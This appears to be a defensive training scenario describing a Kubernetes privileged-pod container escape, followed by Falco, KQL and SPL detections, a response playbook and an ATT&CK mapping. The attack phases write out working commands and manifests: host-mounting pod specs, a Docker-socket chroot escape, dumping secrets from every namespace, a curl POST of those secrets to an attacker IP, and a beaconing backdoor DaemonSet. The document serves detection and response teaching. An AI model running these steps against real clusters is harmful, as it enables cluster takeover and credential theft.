SC-045: Cloud Container Escape via Privileged Kubernetes Pod¶
Scenario Overview¶
A threat actor gains initial access to a Kubernetes cluster through a compromised CI/CD pipeline token. They deploy a privileged pod with the host Docker socket mounted, escape the container boundary, and pivot laterally across the cluster. By abusing a misconfigured ClusterRoleBinding, the attacker escalates to cluster-admin privileges and exfiltrates secrets from multiple namespaces.
Environment: Multi-tenant Kubernetes cluster (v1.28) running on cloud infrastructure Initial Access: Stolen CI/CD service account token Impact: Full cluster compromise, secret exfiltration, potential supply chain risk Difficulty: Intermediate Sector: Technology / SaaS Provider
Attack Timeline¶
| Timestamp (UTC) | Phase | Action |
|---|---|---|
| 2026-03-10 02:14:33 | Initial Access | Attacker authenticates to API server with stolen SA token |
| 2026-03-10 02:16:05 | Execution | Deploys privileged pod in dev-tools namespace |
| 2026-03-10 02:18:22 | Privilege Escalation | Mounts host Docker socket (/var/run/docker.sock) |
| 2026-03-10 02:20:47 | Escape to Host | Spawns host-level container via Docker socket |
| 2026-03-10 02:23:11 | Discovery | Enumerates cluster nodes and service accounts |
| 2026-03-10 02:26:34 | Lateral Movement | Pivots to kube-system namespace |
| 2026-03-10 02:29:55 | Privilege Escalation | Binds compromised SA to cluster-admin ClusterRole |
| 2026-03-10 02:33:18 | Collection | Dumps secrets from production namespaces |
| 2026-03-10 02:37:42 | Exfiltration | Exfiltrates data to 203.0.113.45 via HTTPS |
| 2026-03-10 02:41:00 | Persistence | Creates backdoor DaemonSet across all nodes |
Technical Analysis¶
Phase 1: Initial Access — Stolen Service Account Token¶
The attacker obtains a Kubernetes service account token from a misconfigured CI/CD artifact store at ci.example.com.
# Attacker authenticates to the cluster API server
kubectl --server=https://k8s-api.example.com:6443 \
--token="eyJhbGciOiJSUzI1NiIsImtpZCI6IlJFREFDVEVEIn0.REDACTED.REDACTED" \
--insecure-skip-tls-verify \
get pods -n dev-tools
The token belongs to cicd-deployer service account, which has permissions to create pods in the dev-tools namespace.
Phase 2: Deploying Privileged Container¶
The attacker creates a pod specification that requests privileged mode and mounts the host Docker socket.
# malicious-pod.yaml (reconstructed from API audit log)
apiVersion: v1
kind: Pod
metadata:
name: debug-utils
namespace: dev-tools
labels:
app: debug-utils
spec:
containers:
- name: toolkit
image: registry.example.com/alpine:3.18
command: ["sleep", "86400"]
securityContext:
privileged: true
volumeMounts:
- name: docker-sock
mountPath: /var/run/docker.sock
- name: host-fs
mountPath: /host
volumes:
- name: docker-sock
hostPath:
path: /var/run/docker.sock
- name: host-fs
hostPath:
path: /
serviceAccountName: cicd-deployer
tolerations:
- operator: "Exists"
Phase 3: Container Escape via Docker Socket¶
With the Docker socket mounted, the attacker spawns a new container with full host access.
# Inside the privileged pod
# Install Docker CLI
apk add --no-cache docker-cli
# List host containers
docker -H unix:///var/run/docker.sock ps
# Spawn a host-level container with full root access
docker -H unix:///var/run/docker.sock run -d \
--name host-shell \
--privileged \
--pid=host \
--network=host \
-v /:/hostroot \
registry.example.com/alpine:3.18 \
sh -c "chroot /hostroot /bin/bash -c 'cat /etc/kubernetes/admin.conf'"
Phase 4: Cluster-Wide Privilege Escalation¶
The attacker reads node-level kubeconfig and escalates to cluster-admin.
# Read kubelet credentials from host filesystem
cat /host/etc/kubernetes/kubelet.conf
# Enumerate cluster role bindings
kubectl get clusterrolebindings -o json | \
jq '.items[] | select(.roleRef.name=="cluster-admin") | .subjects'
# Create a new ClusterRoleBinding for the compromised SA
kubectl create clusterrolebinding backdoor-admin \
--clusterrole=cluster-admin \
--serviceaccount=dev-tools:cicd-deployer
Phase 5: Secret Exfiltration¶
# Dump all secrets across namespaces
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
kubectl get secrets -n $ns -o json >> /tmp/all-secrets.json
done
# Exfiltrate via HTTPS POST to attacker infrastructure
curl -X POST https://203.0.113.45/collect \
-H "Content-Type: application/octet-stream" \
--data-binary @/tmp/all-secrets.json
Phase 6: Persistence — Backdoor DaemonSet¶
# backdoor-daemonset.yaml (reconstructed)
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: node-monitor
namespace: kube-system
labels:
k8s-app: node-monitor
spec:
selector:
matchLabels:
k8s-app: node-monitor
template:
metadata:
labels:
k8s-app: node-monitor
spec:
containers:
- name: monitor
image: registry.example.com/alpine:3.18
command:
- sh
- -c
- "while true; do curl -s https://203.0.113.45/c2/beacon; sleep 3600; done"
securityContext:
privileged: true
hostNetwork: true
hostPID: true
tolerations:
- operator: "Exists"
Detection Opportunities¶
Falco Rules¶
- rule: Privileged Container Launched
desc: Detect when a privileged container is started
condition: >
container and container.privileged=true
and not container.image.repository in (allowed_privileged_images)
output: >
Privileged container started (user=%user.name pod=%k8s.pod.name
ns=%k8s.ns.name image=%container.image.repository)
priority: CRITICAL
- rule: Docker Socket Mounted in Container
desc: Detect Docker socket mount inside a pod
condition: >
spawned_process and container
and fd.name=/var/run/docker.sock
output: >
Docker socket access detected (user=%user.name command=%proc.cmdline
pod=%k8s.pod.name ns=%k8s.ns.name)
priority: CRITICAL
KQL — Privileged Pod Creation¶
// Detect privileged pod creation in Kubernetes audit logs
AzureDiagnostics
| where Category == "kube-audit"
| where log_s has "create" and log_s has "pods"
| extend AuditLog = parse_json(log_s)
| where AuditLog.requestObject.spec.containers[0].securityContext.privileged == true
| project
TimeGenerated,
User = AuditLog.user.username,
Namespace = AuditLog.objectRef.namespace,
PodName = AuditLog.objectRef.name,
Image = AuditLog.requestObject.spec.containers[0].image,
SourceIP = AuditLog.sourceIPs[0]
| where Namespace !in ("kube-system", "monitoring")
| sort by TimeGenerated desc
KQL — ClusterRoleBinding to cluster-admin¶
// Detect new ClusterRoleBindings granting cluster-admin
AzureDiagnostics
| where Category == "kube-audit"
| where log_s has "clusterrolebindings" and log_s has "create"
| extend AuditLog = parse_json(log_s)
| where AuditLog.requestObject.roleRef.name == "cluster-admin"
| project
TimeGenerated,
User = AuditLog.user.username,
BindingName = AuditLog.objectRef.name,
Subjects = AuditLog.requestObject.subjects,
SourceIP = AuditLog.sourceIPs[0],
Decision = AuditLog.annotations["authorization.k8s.io/decision"]
| sort by TimeGenerated desc
SPL — Privileged Container Launch¶
index=kubernetes sourcetype="kube:apiserver:audit"
verb=create objectRef.resource=pods
| spath path=requestObject.spec.containers{}.securityContext.privileged output=privileged
| where privileged="true"
| spath path=user.username output=actor
| spath path=objectRef.namespace output=namespace
| spath path=objectRef.name output=pod_name
| spath path=requestObject.spec.containers{}.image output=image
| where NOT namespace IN ("kube-system", "monitoring")
| table _time actor namespace pod_name image
| sort -_time
SPL — Docker Socket Access¶
index=kubernetes sourcetype="falco"
rule="Docker Socket Mounted in Container"
| spath path=output_fields.k8s.pod.name output=pod_name
| spath path=output_fields.k8s.ns.name output=namespace
| spath path=output_fields.container.image.repository output=image
| table _time pod_name namespace image priority
| sort -_time
SPL — Secrets Enumeration Across Namespaces¶
index=kubernetes sourcetype="kube:apiserver:audit"
verb=list objectRef.resource=secrets
| spath path=user.username output=actor
| spath path=objectRef.namespace output=namespace
| bin _time span=5m
| stats dc(namespace) as namespaces_accessed count by _time actor
| where namespaces_accessed > 3
| sort -_time
Response Playbook¶
Immediate Containment (0-30 minutes)¶
- Isolate the compromised pod: Delete the malicious pod and any spawned containers
- Revoke the stolen token: Delete and recreate the
cicd-deployerservice account - Remove backdoor ClusterRoleBinding:
kubectl delete clusterrolebinding backdoor-admin - Delete backdoor DaemonSet:
kubectl delete daemonset node-monitor -n kube-system - Network isolation: Block outbound traffic to 203.0.113.45 at the firewall
Eradication (30 minutes - 4 hours)¶
- Audit all ClusterRoleBindings for unauthorized entries
- Rotate all secrets in every namespace that was accessed
- Scan all nodes for host-level modifications (compare against golden images)
- Review container images in the cluster for unauthorized images
- Audit CI/CD pipeline token storage and rotate all tokens
- Check for additional persistence mechanisms (CronJobs, mutating webhooks)
Recovery (4-24 hours)¶
- Rebuild affected nodes from clean images
- Implement Pod Security Standards (restricted policy) across all namespaces
- Deploy OPA/Gatekeeper policies to block privileged containers
- Enable Kubernetes audit logging at the RequestResponse level
- Deploy Falco or equivalent runtime security monitoring
- Implement network policies to restrict pod-to-pod and egress traffic
MITRE ATT&CK Mapping¶
| Tactic | Technique ID | Technique Name | Scenario Phase |
|---|---|---|---|
| Initial Access | T1078.004 | Valid Accounts: Cloud Accounts | Stolen SA token |
| Execution | T1610 | Deploy Container | Privileged pod creation |
| Privilege Escalation | T1611 | Escape to Host | Docker socket escape |
| Privilege Escalation | T1078.004 | Valid Accounts: Cloud Accounts | ClusterRoleBinding abuse |
| Discovery | T1613 | Container and Resource Discovery | Namespace enumeration |
| Lateral Movement | T1021 | Remote Services | Node-to-node pivoting |
| Collection | T1005 | Data from Local System | Secret dumping |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | HTTPS exfiltration |
| Persistence | T1053.007 | Scheduled Task/Job: Container Orchestration Job | Backdoor DaemonSet |
Lessons Learned¶
-
Pod Security Standards are non-negotiable: The
restrictedpolicy should be enforced cluster-wide, with explicit exceptions only for validated system workloads. -
Docker socket mounting is a cluster-admin backdoor: Any pod with access to the Docker socket can trivially escape to the host. This should be blocked by admission controllers.
-
Service account tokens require lifecycle management: CI/CD tokens should be short-lived (bound service account tokens), scoped to minimal permissions, and rotated regularly.
-
Runtime security monitoring fills the gap: Static policies prevent known-bad configurations, but runtime tools like Falco detect the actual exploitation behavior.
-
Kubernetes audit logs are the primary forensic source: Without
RequestResponseaudit level, reconstruction of attacker actions is nearly impossible. -
Namespace isolation is not security isolation: Without network policies, RBAC hardening, and runtime monitoring, namespaces provide only organizational separation.
Cross-References¶
- Chapter 20: Cloud Attack & Defense Playbook — Cloud-native attack techniques and container security
- Chapter 30: Application Security & SDLC — Secure CI/CD pipeline practices and supply chain security
- Lab 14: Kubernetes Pod Security — Hands-on pod security policy enforcement
- SC-021: Cloud IAM Privilege Escalation — Related cloud privilege escalation scenario